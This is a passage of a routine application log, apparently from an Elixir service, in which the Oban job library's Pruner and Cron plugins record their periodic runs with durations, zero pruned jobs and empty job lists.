{"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:47.249 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.829 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:03:17.251 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:47.252 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.830 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:04:17.253 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:47.254 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.831 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:05:17.255 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:47.256 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.832 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:06:17.257 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:47.258 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.833 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:07:17.259 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:47.260 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.834 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:08:17.261 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:47.262 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.835 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:09:17.263 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:47.264 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.836 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:10:17.265 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:47.266 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.837 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:11:17.267 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:47.269 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.838 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:12:17.270 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:47.271 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.839 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:13:17.273 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:47.274 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.840 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:14:17.275 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:47.277 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.841 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:15:17.279 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:47.280 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.842 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:16:17.281 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:47.282 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.843 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:17:17.283 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:47.284 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.844 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:18:17.285 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:47.286 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.845 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:19:17.287 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:47.288 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.846 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:20:17.289 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:47.290 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.847 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:21:17.291 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:47.293 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.849 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:22:17.294 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:47.296 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.849 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:23:17.297 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:47.298 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.850 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:24:17.299 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:47.300 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.851 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:25:17.301 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:47.302 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.852 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:26:17.303 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:47.304 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.853 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:27:17.305 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:47.306 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.854 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:28:17.307 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:47.308 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.855 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:29:17.310 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:47.311 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.856 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:30:17.312 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:47.313 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.858 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:31:17.314 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:47.315 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.858 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:32:17.316 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:47.317 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.859 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:33:17.318 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:47.320 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.861 [info] {"source":"oban","duration":424,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:34:17.321 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:47.322 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.861 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:35:17.323 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:47.324 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.862 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:36:17.325 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:47.326 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.863 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:37:17.327 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:47.328 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.864 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:38:17.329 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:47.330 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.865 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:39:17.331 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:47.332 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.866 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:40:17.334 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:47.335 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.868 [info] {"source":"oban","duration":422,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:41:17.336 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:47.337 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.868 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:42:17.338 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:47.339 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.869 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:43:17.341 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:47.342 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.870 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:44:17.343 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:47.344 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.871 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:45:17.345 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:47.346 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.872 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:46:17.347 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:47.349 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.874 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:47:17.351 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:47.352 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.874 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:48:17.353 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:47.354 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.875 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:49:17.355 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:47.356 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.876 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:50:17.357 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:47.358 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.877 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:51:17.359 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:47.360 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.878 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:52:17.361 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:47.362 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.880 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:53:17.363 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:47.365 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.880 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:54:17.366 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:47.367 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.881 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:55:17.368 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:47.369 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.882 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:56:17.371 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:47.372 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.883 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:57:17.373 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:47.374 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.884 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:58:17.375 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:47.376 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.885 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:59:17.378 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:47.379 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.886 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:00:17.381 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:47.382 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.887 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:01:17.383 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:47.384 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.888 [info] {"source":"oban","duration":296,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:02:17.385 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:47.386 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.889 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:03:17.387 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:47.388 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.890 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:04:17.389 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:47.390 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.891 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:05:17.391 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:47.392 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.892 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:06:17.393 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:47.394 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.893 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:07:17.395 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:47.396 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.894 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:08:17.397 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:47.398 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.895 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:09:17.399 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:47.400 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.896 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:10:17.401 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:47.402 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.897 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:11:17.404 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:47.405 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.898 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:12:17.407 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:47.408 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.899 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:13:17.409 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:47.410 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.900 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:14:17.411 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:47.412 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.901 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:15:17.414 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:47.415 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.902 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:16:17.417 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:47.418 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.903 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:17:17.419 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:47.419 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.904 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:18:17.421 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:47.422 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.905 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:19:17.423 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:47.424 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.906 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:20:17.425 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:47.426 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.907 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:21:17.427 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:47.428 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.908 [info] 